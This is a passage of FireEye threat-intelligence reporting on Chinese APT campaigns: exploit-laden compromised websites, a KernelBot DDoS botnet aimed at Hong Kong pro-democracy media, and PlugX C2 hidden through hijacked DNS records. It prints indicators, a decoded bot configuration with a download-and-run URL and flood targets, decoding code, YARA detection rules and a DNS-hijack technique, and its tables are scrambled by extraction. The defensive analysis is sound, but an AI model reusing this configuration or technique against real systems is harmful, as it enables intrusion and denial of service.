103.246.246.103 between July 4, +2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014. java.ns1[.]name also resolved to +192.74.246.219 on February 18. +Domain +First Seen +adservice.no-ip[.]org 2014-02-18 +java.ns1[.]name +2014-02-18 +java.ns1[.]name +2014-02-18 +wmi.ns01[.]us +2014-02-17 +proxy.ddns[.]info +2013-05-02 +Last Seen +2014-02-19 +2014-02-19 +2014-02-18 +2014-02-17 +2014-02-18 +IP Address +74.126.177.68 +74.126.177.68 +192.74.246.219 +192.74.246.219 +103.246.246.103 +updatedns.ns02[.]us 2013-09-06 +updatedns.ns01[.]us 2013-09-06 +wmi.ns01[.]us +2013-07-04 +2013-09-06 +2013-09-06 +2013-07-15 +103.246.246.103 +103.246.246.103 +103.246.246.103 +Further research uncovered a number of older malware samples connecting to the same domain +wmi.ns01[.]us. +Family Compile Alternate C2s +Time +7995a9a6a889b914e208eb924e459ebc PlugX +2012-06-09 fuckchina.govnb[.]com +bf60b8d26bc0c94dda2e3471de6ec977 PlugX +2010-03-15 microsafes.no-ip[.]org +fd69793bd63c44bbb22f9c4d46873252 Poison 2013-03-07 N/A +88b375e3b5c50a3e6c881bc96c926928 Poison 2012-06-11 N/A +cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison 2012-06-11 N/A +Domain +First Seen +Last Seen +IP Address +fuckchina.govnb[.]com 2013-12-11 +2013-12-11 +204.200.222.136 +microsafes.no-ip[.]org 2014-02-12 +2014-02-12 +74.126.177.70 +microsafes.no-ip[.]org 2013-12-04 +2013-12-04 +74.126.177.241 +The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique +configuration properties: +Password +fd69793bd63c44bbb22f9c4d46873252 java7 +88b375e3b5c50a3e6c881bc96c926928 admin +cd07a9e49b1f909e1bd9e39a7a6e56b4 admin +Mutex +NBCD*&^FE +ytf^&^333 +ytf^&^333 +We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same +java7 +password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, +visitors to the Center for Defense Information website (www.cdi[.]org + also an organization involved in +defense matters + were redirected to an exploit server at 159.54.62.92. +This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 +1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition +to using the same password +java7, + this variant was configured with the mutex with the similar pattern of +YFds*&^ff + and connected to a CnC server at windows.ddns[.]us. +Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to +76.73.80.188 in mid-2012. +Domain +wmi.ns01.us +windows.ddns.us +First Seen +2012-07-07 +2012-05-23 +Last Seen +2012-09-19 +2012-06-10 +IP Address +76.73.80.188 +76.73.80.188 +During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java +exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and +dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy +variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the +domain wmi.ns01[.]us on the IP 194.183.224.75. +Domain +wmi.ns01[.]us +ids.ns01[.]us +First Seen +2012-07-03 +2012-04-23 +Last Seen +2012-07-04 +2012-05-18 +IP Address +194.183.224.75 +194.183.224.75 +The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via +an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). +In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be. +In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the +current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013. +Conclusion +This threat actor clearly seeks out and compromises websites of organizations related to international +security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains +persistence on these sites for extended periods of time or is able to re-compromise them periodically. +This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a +variety of malware families on compromised systems. Based on these and other observations, we conclude +that this actor has the tradecraft abilities and resources to remain a credible threat in at least the midterm. +Operation Poisoned Handover: Unveiling Ties Between APT Activity +in Hong Kong +s Pro-Democracy Movement +As the pro-democracy movement in Hong Kong has continued, we +ve been watching for indications of +confrontation taking place in cyberspace. Protests began in September and have continued to escalate. +In recent weeks, attackers have launched a series of Distributed Denial of Service attacks (DDoS) against +websites promoting democracy in Hong Kong. According to the Wall Street Journal, websites belonging to +Next Media +s Apple Daily publication have suffered from an ongoing DDoS attack that +brought down its +email system for hours +. According to other reports, Next Media +s network has suffered a +total failure +a result of these attacks. Additionally, at least one member of the popular online forum HKGolden was +arrested for posting messages encouraging support for the OccupyCentral Pro Democracy movement. +The use of DDoS attacks as a political tool during times of conflict is not new; patriotic hacktivist groups +frequently use them as a means to stifle political activity of which they disapprove. The question of state +sponsorship (or at least tacit approval) in online crackdowns is often up for debate and ambiguous from a +technical evidence and tradecraft perspective. +In this case, however, we +ve discovered an overlap in the tools and infrastructure used by China-based +advanced persistent threat (APT) actors and the DDoS attack activity. We believe that these DDoS attacks +are linked to previously observed APT activity, including Operation Poisoned Hurricane. This correlation +sheds light on the potential relationships, symbiosis and tool sharing between patriotic hacker activities +designed to disrupt anti-government activists in China, and the APT activity we consistently see that is +more IP theft and espionage-focused. +Ongoing DDoS Attacks Target the Pro-Democracy Movement +FireEye has identified a number of binaries coded to receive instructions from a set of command and +control (C2) servers instructing participating bots to attack Next Media-owned websites and the +HKGolden forum. Next Media is a large media company in Hong Kong and the HkGolden forum has been +used as a platform to organize pro-democracy protests. Each sample we identified is signed with digital +certificates that have also been used by APT actors to sign binaries in previous intrusion operations: +These binaries are W32 Cabinet self-extracting files that drop a variant of an older DDoS tool known as +KernelBot . All of the samples we identified have the +NewVersion + value of 20140926. Structurally, all of +these samples are similar in that they drop three files: +ctfmon.exe-a legitimate, signed copy of the Pidgin IM client +(md5 hash = 1685f978149d7ba8e039af9a4d5803c7) +libssp-0.dll +malware DLL which is side-loaded by ctfmon.exe +to decode and launch KernelBot. Most versions of this dll are also +signed by either the QTI or CallTogether certificate. +readme.txt + a binary file which contains the XOR-encoded +KernelBot DLL as well as C2 destination information (most have +md5 hash of b5ac964a74091d54e091e68cecd5b532) +The KernelBot implants receive targeting instructions from C2 servers hard-coded directly into the +sample. For example, c3d6450075d618b1edba17ee723eb3ca drops a KernelBot variant that connects to +both www.sapporo-digital-photoclub[.]com and wakayamasatei[.]com. The full list of C2 servers we +identified is as follows: +sapporo-digital-photoclub[.]com +wakayamasatei[.]com +tommo[.]jp +mizma.co[.]jp +sp.you-maga[.]com +nitori-tour[.]com +ninekobe[.]com +shinzenho[.]jp +wizapply[.]com +www.credo-biz[.]com +On Oct. 21, the control server at wakayamasatei[.]com responded with the following encoded +configuration file: +@$@cWFPWERPRnlPXl5DRE13JyBjWXhPWkVYXnleS15PFxonIGNZbkVdRGxDRk +94X0QaFxonIGlHTmNuGhcbJyBuRV1EbENGT3hfRH9YRhoXQl5eWhAFBRsaBBo +EGwQbHxsFGwRPUk8nIHF/Wk5LXk95T1hcT1h3JyBkT118T1hZQ0VEFxgaGx4 +aExgcJyB/Wk5LXk9sQ0ZPf1hGF0JeXloQBQUbGgQaBBsEGx8bBRsET1JPJyBx +bm5leXViRVleeV5LXkNZXkNJWXcnIGlFX0Ref1hGFycgfkNHT1gXGCcgcW5uZ +Xl1eUlYQ1pebEZFRU53JyBjWXlJWENaXmxGRUVOFxsnIGlHTmNuFxsYGScgeU +lYQ1pebEZFRU5uZHkXJyB5SVhDWl5sRkVFTn9YRhdCXl5aEAUFRFJLWkMES1p +aRk9OS0NGUwRJRUcEQkEFJyB5SVhDWl5sRkVFTnpFWF4XEhonIGNZbU9ef1hG +bENGTxcbJyBjWXlPRE56S0lBT14XGicgfkJYT0tOZkVFWn5DR08XHycgfkJYT +0tOaUVfRF4XGxonIH5DR09YFxkcGicgY1l+Q0dPWBcbJyBxbm5leXV5SVhDWl +5sRkVFTnVrG3cnIGNZeUlYQ1pebEZFRU4XGicgaUdOY24XGycgeUlYQ1pebEZ +FRU5uZHkXGxoEGgQbBBsfGycgeUlYQ1pebEZFRU5/WEYXGxoEGgQbBBsfGwUb +BEJeR0YnIHlJWENaXmxGRUVOekVYXhcSGicgY1ltT15/WEZsQ0ZPFxsnIGNZe +U9ETnpLSUFPXhcbJyB+QlhPS05mRUVafkNHTxcbJyB+QlhPS05pRV9EXhcbJy +B+Q0dPWBcYGicgY1l+Q0dPWBcbJyBxbm5leXV/TlpsRkVFTncnIGNZf05abEZ +FRU4XGicgaUdOY24XGycgf05abEZFRU5uZHkXGxoEGgQbBBsfGycgfkJYT0tO +aUVfRF4XGycgfkNHT1gXGBonIGNZfkNHT1gXGycgcW5uZXl1f05abEZFRU51a +xt3JyBjWX9OWmxGRUVOFxonIGlHTmNuFxsnIH9OWmxGRUVObmR5FxsaBBoEGw +QbHxsnIH5CWE9LTmlFX0ReFxsnIH5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV +5dXlTRGxGRUVOdycgY1l5U0RsRkVFThcaJyBpR05jbhcbJyB5U0RsRkVFTm5k +eRcbGgQaBBsEGx8bJyB5U0RsRkVFTnpFWF4XEhonIH5CWE9LTmlFX0ReFxsnI +H5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV5dX5JWmxGRUVOdycgY1l+SVpsRk +VFThcaJyBpR05jbhcbJyB+SVpsRkVFTm5keRcbGgQaBBsEGx8bJyB+SVpsRkV +FTnpFWF4XEhonIGNZeU9ETnpLSUFPXhcbJyB+QlhPS05pRV9EXhcbJyB+Q0dP +WBcYGicgY1l+Q0dPWBcbJyBxbm5leXV+SVpsRkVFTnVrG3cnIGNZfklabEZFR +U4XGicgaUdOY24XGycgfklabEZFRU5uZHkXGxoEGgQbBBsfGycgfklabEZFRU +56RVheFxIaJyBjWXlPRE56S0lBT14XGycgfkJYT0tOaUVfRF4XHCcgfkNHT1g +XGBonIGNZfkNHT1gXGycg@$@ +This configuration file can be decoded by stripping the leading and trailing @$@ characters. At this point, +a simple base64 and XOR decode will reveal the plaintext configuration. The following snippet of python +code can be used to decode this command: +b64encoded = request.content.rstrip('@$@').lstrip('@$@') +b64decoded = b64encoded.decode("base64") +command = "" +for c in b64decoded: +x = ord(c) +x = x ^ XOR_key +command += chr(x) +FireEye has observed two different single-byte XOR keys used to encode configuration files issued by the +DDOS C2 servers in this campaign. The two different keys are 0x2A or 0x7E. The encoded configuration +file shown above decodes to: +[KernelSetting] +IsReportState=0 +IsDownFileRun0=0 +CmdID0=1 +DownFileRunUrl0=http://10.0.1.151/1.exe +[UpdateServer] +NewVersion=20140926 +UpdateFileUrl=http://10.0.1.151/1.exe +[DDOS_HostStatistics] +CountUrl= +Timer=2 +[DDOS_ScriptFlood] +IsScriptFlood=1 +CmdID=123 +ScriptFloodDNS= +ScriptFloodUrl=http://nxapi.appledaily.com.hk/ +ScriptFloodPort=80 +IsGetUrlFile=1 +IsSendPacket=0 +ThreadLoopTime=5 +ThreadCount=10 +Timer=360 +IsTimer=1 +[DDOS_ScriptFlood_A1] +IsScriptFlood=0 +CmdID=1 +ScriptFloodDNS=10.0.1.151 +ScriptFloodUrl=10.0.1.151/1.html +ScriptFloodPort=80 +IsGetUrlFile=1 +IsSendPacket=1 +ThreadLoopTime=1 +ThreadCount=1 +Timer=20 +IsTimer=1 +[DDOS_UdpFlood] +IsUdpFlood=0 +CmdID=1 +UdpFloodDNS=10.0.1.151 +ThreadCount=1 +Timer=20 +IsTimer=1 +[DDOS_UdpFlood_A1] +IsUdpFlood=0 +CmdID=1 +UdpFloodDNS=10.0.1.151 +ThreadCount=1 +Timer=20 +IsTimer=1 +[DDOS_SynFlood] +IsSynFlood=0 +CmdID=1 +SynFloodDNS=10.0.1.151 +SynFloodPort=80 +ThreadCount=1 +Timer=20 +IsTimer=1 +[DDOS_TcpFlood] +IsTcpFlood=0 +CmdID=1 +TcpFloodDNS=10.0.1.151 +TcpFloodPort=80 +IsSendPacket=1 +ThreadCount=1 +Timer=20 +IsTimer=1 +[DDOS_TcpFlood_A1] +IsTcpFlood=0 +CmdID=1 +TcpFloodDNS=10.0.1.151 +TcpFloodPort=80 +IsSendPacket=1 +ThreadCount=6 +Timer=20 +IsTimer=1 +During the course of our research, we +ve observed more than 30 different unique configuration files issued +by the C2 servers listed above. These configurations issued commands to attack the following domains and +IPs: +nxapi.appledaily.com[.]hk +202.85.162.90 +58.64.139.10 +202.85.162.97 +202.85.162.81 +198.41.222.6 +202.85.162.101 +202.85.162.95 +202.85.162.180 +202.85.162.140 +202.85.162.130 +124.217.214.149 +All of the above IPs host Next Media or Apple daily websites, with the exception of 58.64.139.10 and +124.217.214.149. The IP 58.64.139.10 has hosted hkgolden[.]com + the domain for the HKGolden forum +mentioned above. +For approximately 14 hours between October 23rd and 24th, the attackers pushed a configuration update +to four controls servers that instructed bots under their control to flood 124.217.214.149 with UDP traffic. +The IP 124.217.214.149 hosted the attacker controlled domain p.java-sec[.]com. +On Oct. 23, 2014, two of the active controls began instructing participating bots to cease attacks. By Oct. +24, 2014, all five of the known active control servers were issuing commands to cease the attacks. +It should come as no surprise that hkgolden[.]com, nextmedia[.]com, and appledaily.com[.]hk websites +are now or previously have been blocked by the Great Firewall of China + indicating that the PRC has +found the content hosted on these sites objectionable. +Links to Previous Activity +The most direct connection between these DDoS attacks and previous APT activity is the use of the QTI +International and CallTogether code signing certificates, which we have seen in malware attributed to APT +activity. +The QTI International digital certificate has been previously used to sign binaries used in APT activity +including Operation Poisoned Hurricane. Specifically, 17bc9d2a640da75db6cbb66e5898feb1 is a PlugX +variant signed by the QTI International certificate. This PlugX variant connected to a Google Code project +at code.google[.]com/p/udom/, where it decoded a command that configured its C2 server. +The sample 0b54ae49fd5a841970b98a078968cb6b was signed with the QTI International certificate as +well. This sample was first observed during a drive-by attack in June 2014, and was downloaded from +java-se[.]com/jp.jpg. This sample is detected as Backdoor.APT.Preshin and connected to luxscena[.]com +for C2. +The QTI International certificate was also used to sign e2a4b96cce9de4fb126cfd5f5c73c3ed. We detect +this payload as Backdoor.APT.PISCES and it used hk.java-se[.]com for C2. The java-se[.]com website was +previously used in other attacks targeting the pro-democracy movement in Hong Kong. We first observed +the presence of malicious javascript inserted into Hong Kong Association for Democracy and People +Livelihood on June 26, 2014, which appeared as the following: + +More recently, as noted by Claudio Guarnieri, the website of the Democratic Party of Hong Kong was +seen hosting a redirect to the same malicious javascript. +The CallTogether certificate has been used to sign ecf21054ab515946a812d1aa5c408ca5. We also detect +this payload as Backdoor.APT.PISCES and observed it connect to u.java-se[.]com. +Both of these certificates are valid but can be detected and blocked via the following Yara signatures: +rule callTogether_certificate +meta: +author = "Fireeye Labs" +version = "1.0" +reference_hash = "d08e038d318b94764d199d7a85047637" +description = +detects binaries signed with the CallTogether certificate +strings: +$serial = {452156C3B3FB0176365BDB5B7715BC4C} +$o = "CallTogether, Inc." +condition: +$serial and $o +rule qti_certificate +meta: +author = "Fireeye Labs" +reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195" +description = "detects binaries signed with the QTI International Inc +certificate" +strings: +$cn = "QTI International Inc" +$serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 } +condition: +$cn and $serial +These ongoing DDoS attacks and previous APT intrusion activity both target the hkgolden[.]com website. +As noted above, this site has been targeted with a DDoS attack by a KernelBot network. We also found that +the hkgolden[.]com website was compromised on Sept. 5, 2014 and had a redirect to a malicious javascript +again hosted at another jave-se[.]com host, which appeared as follows: +document.write(" +Finally, as noted above the IP 124.217.214.149 was seen hosting the domain p.java-sec[.]com between Oct. +25, 2014 and Oct. 27, 2014. As Brandon Dixon noted here, the java-sec[.]com domain is linked to the javase[.]com by shared hosting history at the following IP address: +124.248.237.26 +223.29.248.9 +211.233.89.182 +112.175.143.2 +112.175.143.9 +It is unclear why these actors would attack an IP address they were actively using. It +s possible that the +attackers wanted to test their botnet +s capability by attacking an IP they were using to gather statistics on +the size of the attack. It is also possible that the attackers simply made a mistake and accidentally issued +commands to attack their own infrastructure. On Oct. 24, 2014, after attacking their own infrastructure, +the attackers issued new instructions to their botnet that ceased all attacks. +Conclusion +While not conclusive, the evidence presented above shows a link between confirmed APT +activity and ongoing DDoS attacks that appear to be designed to silence the Pro Democracy +movement in Hong Kong. The evidence does not conclusively prove that the same actors responsible +for the DDoS attacks are also behind the observed intrusion activity discussed above + such as Operation +Poisoned Hurricane. Rather, the evidence may indicate that a common quartermaster supports +both the DDoS attacks and ongoing intrusion activity. +In either scenario, there is a clear connection between the intrusion activity documented in Operation +Poisoned Hurricane and the DDOS attacks documented here. While the tactics of these activities are very +different from a technical perspective, each supports distinct political objectives. Operation Poisoned +Hurricane +s objective appeared to have in part been IP theft possibly for economic gain or other +competitive advantages. In the DDOS attacks, the objective was to silence free speech and suppress the +pro democracy movement in Hong Kong. The Chinese government is the entity most likely to be +interested in achieving both of these objectives. +APPENDIX +MD5s +c3d6450075d618b1edba17ee723eb3ca +d08e038d318b94764d199d7a85047637 +84bd0809b1dbc2dc86f30d30faaa7e4e +39bb90140fc0101f49377b6c60076f9d +caa5529010c17b969da01ade084794c6 +17bc9d2a640da75db6cbb66e5898feb1 +0b54ae49fd5a841970b98a078968cb6b +e2a4b96cce9de4fb126cfd5f5c73c3ed +ecf21054ab515946a812d1aa5c408ca5 +HOSTNAMES +tommo[.]jp +mizma.co[.]jp +sp.you-maga[.]com +nitori-tour[.]com +ninekobe[.]com +shinzenho[.]jp +wizapply[.]com +www.credo-biz[.]com +www.sapporo-digital-photoclub[.]com +wakayamasatei[.]com +luxscena[.]com +java-se[.]com +hk.java-se[.]com +u.java-se[.]com +jre76.java-se[.]com +p.java-sec[.]com +This entry was posted in Threat Intelligence, Threat Research and tagged advanced malware, +Cybersecurity, malware, zero-day by Ned Moran, Mike Oppenheim and Mike Scott. Bookmark the +permalink. +Operation Poisoned Hurricane +Introduction +Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect +innovative tactics employed by malicious actors and protects our clients from these tactics. We recently +uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a +financial services company, and an Asian government organization. The actor responsible for this +campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to +cloak their command and control traffic. +Hurricane Electric Redirection +In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP +addresses. Our initial conclusion was that this traffic was the result of malicious actors +sleeping + their implants, by pointing their command and control domains at legitimate IP +addresses. As this is a popular technique, we did not think much of this traffic at the time. +Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for +legitimate domains. As we have previously observed malware families that forge their HTTP headers to +include legitimate domains in callback traffic, we concluded that the malware in this case was configured +in the same way. +An example of the observed traffic is as follows: +POST /C542BB084F927229348B2A34 HTTP/1.1 +Accept: */* +CG100: 0 +CG103: 0 +CG107: 61456 +CG108: 1 +User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR +2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; +.NET4.0C) +Host: www.adobe.com +Content-Length: 0 +Cache-Control: no-cache +As we continued to see this odd traffic throughout the summer we began a search for malware samples +responsible for this behavior. Via this research, we found a malware sample that we believe was +responsible for at least some of the strange traffic that we had observed. The identified sample had the +following properties: +MD5: 52d2d1ab9b84303a585fb81e927b9e01 +Size: 180296 +Compile Time: 2013-10-15 05:17:37 +Import Hash: b29eb78c7ec3f0e89bdd79e3f027c029 +.rdata: d7b6e412ba892e9751f845432625bbb0 +.text: ed0dd6825e3536d878f39009a7777edc +.data: 1bc25d2f0f3123bedea254ea7446dd50 +.rsrc: 91484aa628cc64dc8eba867a8493c859 +.reloc: f1df8fa77b5abb94563d5d97e5ccb8e2 +RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 +This sample was signed with a legitimate digital certificate from the +Police Mutual Aid Association +. This +certificate has a serial number of +06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10 +Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com +and update.adobe.com. Obviously, this configuration does not make a lot of sense, as the actor would not +be able to control their implants from anywhere on the Internet since they did not have direct control over +these domains + unless the attackers were able to re-route traffic destined for these domains +from specific victims. Indeed, further analysis of this Kaba variant revealed that it was also configured +to use specific DNS resolvers. This sample was configured to resolve DNS lookups via Hurricane +Electric +s nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2 and 216.66.1.2. +We found this interesting, so we investigated how these Hurricane Electric +s nameservers were +configured. Subsequently, we found that anyone could register for a free account with +Hurricane Electric +s hosted DNS service. Via this service, anyone with an account was able to +register a zone and create A records for the registered zone and point those A records to any IP address +they so desired. The dangerous aspect of this service is that anyone was able to hijack +legitimate domains such as adobe.com. Although these nameservers are not recursors and +were not designed to be queried directly by end users, they were returning results if +queried directly for domains that were configured via Hurricane Electrics public DNS +service. Furthermore, Hurricane Electric did not check if zones created by their users were +already been registered or are otherwise legitimately owned by other parties. +As we continued this research, we identified 21 legitimate fully qualified domain names that had been +hijacked via this technique by at least one APT actor. In addition to the adobe.com domain mentioned +above, another one of the poisoned domains is www.outlook.com. A lookup of this domain via Google +DNS resolvers returns expected results: +$ dig +short @8.8.8.8 www.outlook.com +www.outlook.com.glbdns2.microsoft.com. +www-nameast.outlook.com. +157.56.240.246 +157.56.236.102 +157.56.240.214 +157.56.241.102 +157.56.232.182 +157.56.241.118 +157.56.240.22 +A quick lookup of these addresses reveal that Microsoft owns them: +157.56.240.246 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.236.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.240.214 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.241.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.232.182 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.241.118 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +157.56.240.22 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | +MICROSOFT.COM | MICROSOFT CORPORATION +However, as recently as August 4, 2014 a lookup of the same www.outlook.com domain via Hurricane +Electric +s resolvers returned entirely different results[1]: +$ dig +short @216.218.130.2 www.outlook.com +59.125.42.167 +$ dig +short @216.218.131.2 www.outlook.com 59.125.42.167 +$ dig +short @216.218.132.2 www.outlook.com 59.125.42.167 +$ dig +short @216.66.1.2 www.outlook.com 59.125.42.167 +$ whois -h asn.shadowserver.org +origin 59.125.42.167 + 3462 | 59.125.0.0/17 | HINET | TW | HINET.NET +| DATA COMMUNICATION BUSINESS GROUP +Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously +used this IP address. +IP Address +59.125.42.167 +59.125.42.167 +59.125.42.167 +59.125.42.167 +Domain +First Seen +ml65556.gicp[.]net 2014-06-23 +wf.edsplan[.]com 2014-05-12 +gl.edsplan[.]com 2014-05-12 +unix.edsplan[.]com 2014-05-12 +Last Seen +2014-07-23 +2014-05-14 +2014-05-14 +2014-05-14 +Additional researched uncovered more Kaba samples that were configured to leverage Hurricane Electric +public DNS resolvers. Another sample has the following properties: +MD5: eae0391e92a913e757ac78b14a6f079f +Size: 184304 +Compile Time: 2013-11-26 17:39:25 +Import Hash: f749528b1db6fe5aee61970813c7bc18 +Text Entry: 558bec83ec1056ff7508ff1518b00010 +.rdata: 747abda5b3cd3494f056ab4345a909e4 +.text: 475c20b8abc972710941ad6659492047 +.data: d461f8f7b3f35b7c6855add6ae59e806 +.rsrc: b195f57cb5e605cb719469492d9fe717 +.reloc: d6b23cb71f214d33e56cf8f6a10c0c10 +RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 +This sample is signed with a recently expired digital certificate from +MOCOMSYS INC +. This certificate +has a serial number of +03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80 +This sample used Hurricane Electric +s public DNS resolvers to route traffic to the hijacked domains of +www.adobe.com and update.adobe.com. We also noted that this sample was configured to connect directly +to 59.125.42.168 + one IP address away from the IP that received traffic from the hijacked +www.outlook.com domain. +Passive DNS research revealed that this IP hosted the same set of known APT domains listed above: +IP Address +Domain +First Seen +Last Seen +59.125.42.168 +59.125.42.168 +59.125.42.168 +59.125.42.168 +ml65556.gicp[.]net 2014-04-23 +wf.edsplan[.]com 2014-04-23 +gl.edsplan[.]com 2014-05-04 +unix.edsplan[.]com 2014-05-04 +2014-07-24 +2014-05-14 +2014-05-14 +2014-05-14 +While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the +other affected domains, it should not be dismissed as inconsequential. Actors that adopt this tactic +and obfuscate the destination of their traffic through localized DNS hijacks can +significantly complicate the job of network defenders. +Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign. +We observed this actor target: +Multiple Internet Infrastructure Service Providers in Asia and the United States +A Media Organization based in the United States +A financial institution based in Asia +An Asian government organization +Google Code Command and Control +Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google +Code for command and control. On August 1, 2014 we observed a malicious self-extracting executable (aka +sfxrar) file downloaded from 211.125.81.203. This file had the following properties: +MD5: 17bc9d2a640da75db6cbb66e5898feb1 +Size: 282800 bytes +A valid certificate from +QTI INTERNATIONAL INC + was used to sign this sfxrar. This certificate had a +serial number of +2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 +. The sfxrar contained +the following files: +File +msi.dll +msi.dll.dat +setup.exe +Size +11680 +115218 +34424 +029c8f56dd89ceeaf928c3148d13eba7 +62834d2c967003ba5284663b61ac85b5 +d00b3169f45e74bb22a1cd684341b14a +Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files + msi.dll and +msi.dll.dat. +These Kaba files are configured to connect to Google Code + specifically code.google.com/p/udom/. On +August 1, this Google Code project contained the encoded command +DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS +.[2] +These Kaba files are configured to connect to Google Code + specifically code.google.com/p/udom/. On +August 1, this Google Code project contained the encoded command +DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS +def NewPlugx_C2_redir_decode(s): +rvalue = +for x in range(0, len(s), 2): +tmp0 = (ord(s[x+1]) +41) << 4 +rvalue += chr(ord(s[x]) + tmp0 +41) return rvalue +The command +DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS + decodes to +222.122.208.10. In a live environment, the Kaba implant would then connect to this IP +address via UDP. +Further analysis of project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, +created a number of other projects. We decoded the commands hosted at these linked projects and found +that they issued the following decoded commands: +112.175.143.22 +59.125.42.167 +153.121.57.213 +61.82.71.10 +202.181.133.169 +61.78.32.139 +61.78.32.148 +202.181.133.216 +59.125.42.168 +119.205.217.104 +222.122.208.10 +112.175.143.16 +222.122.208.9 +27.122.13.204 +It is likely that other yet to be discovered Kaba variants are configured to connect to these +related Google Code projects and then redirect to this list of IP addresses. +Passive DNS analysis of these IP addresses revealed connections to the following known malicious +infrastructure: +IP Address +27.122.13.204 +112.175.143.16 +112.175.143.16 +112.175.143.16 +112.175.143.16 +59.125.42.168 +59.125.42.168 +59.125.42.168 +59.125.42.168 +59.125.42.167 +59.125.42.167 +59.125.42.167 +59.125.42.167 +61.78.32.148 +61.78.32.148 +61.78.32.148 +61.78.32.148 +61.78.32.148 +61.78.32.148 +112.175.143.22 +112.175.143.22 +112.175.143.22 +112.175.143.22 +112.175.143.22 +112.175.143.22 +Domain +First Seen +bq.cppcp[.]com +2014-03-21 +uj.verisignss[.]com +2013-06-30 +www.verifyss[.]com 2013-06-30 +uj.byonds[.]com +2013-06-24 +uj.verifyss[.]com +2013-06-30 +ml65556.gicp[.]net +2014-04-23 +wf.edsplan[.]com +2014-04-23 +gl.edsplan[.]com +2014-05-04 +unix.edsplan[.]com +2014-05-04 +ml65556.gicp[.]net +2014-06-23 +wf.edsplan[.]com +2014-05-12 +gl.edsplan[.]com +2014-05-12 +unix.edsplan[.]com +2014-05-12 +door.nexoncorp[.]com 2014-04-30 +verisignss[.]com +2014-04-30 +th.nexoncorp[.]com 2014-04-30 +tw.verisignss[.]com 2014-04-30 +sd.nexoncorp[.]com 2014-04-30 +mail.nexoncorp[.]com 2014-04-30 +door.nexoncorp[.]com 2014-04-01 +th.nexoncorp[.]com 2014-04-01 +sd.nexoncorp[.]com 2014-04-01 +mail.nexoncorp[.]com 2014-04-01 +verisignss[.]com +2013-12-29 +tw.verisignss[.]com 2013-12-29 +Relationships Between Campaigns +Last Seen +2014-05-08 +2013-08-13 +2013-07-22 +2013-07-22 +2013-07-22 +2014-07-24 +2014-05-14 +2014-05-14 +2014-05-14 +2014-07-23 +2014-05-14 +2014-05-14 +2014-05-14 +2014-06-22 +2014-06-22 +2014-06-22 +2014-06-22 +2014-06-22 +2014-06-22 +2014-04-30 +2014-04-30 +2014-04-30 +2014-04-30 +2014-04-30 +2014-04-30 +As mentioned above the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash +of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post. This samples was to +use Hurricane Electric +s 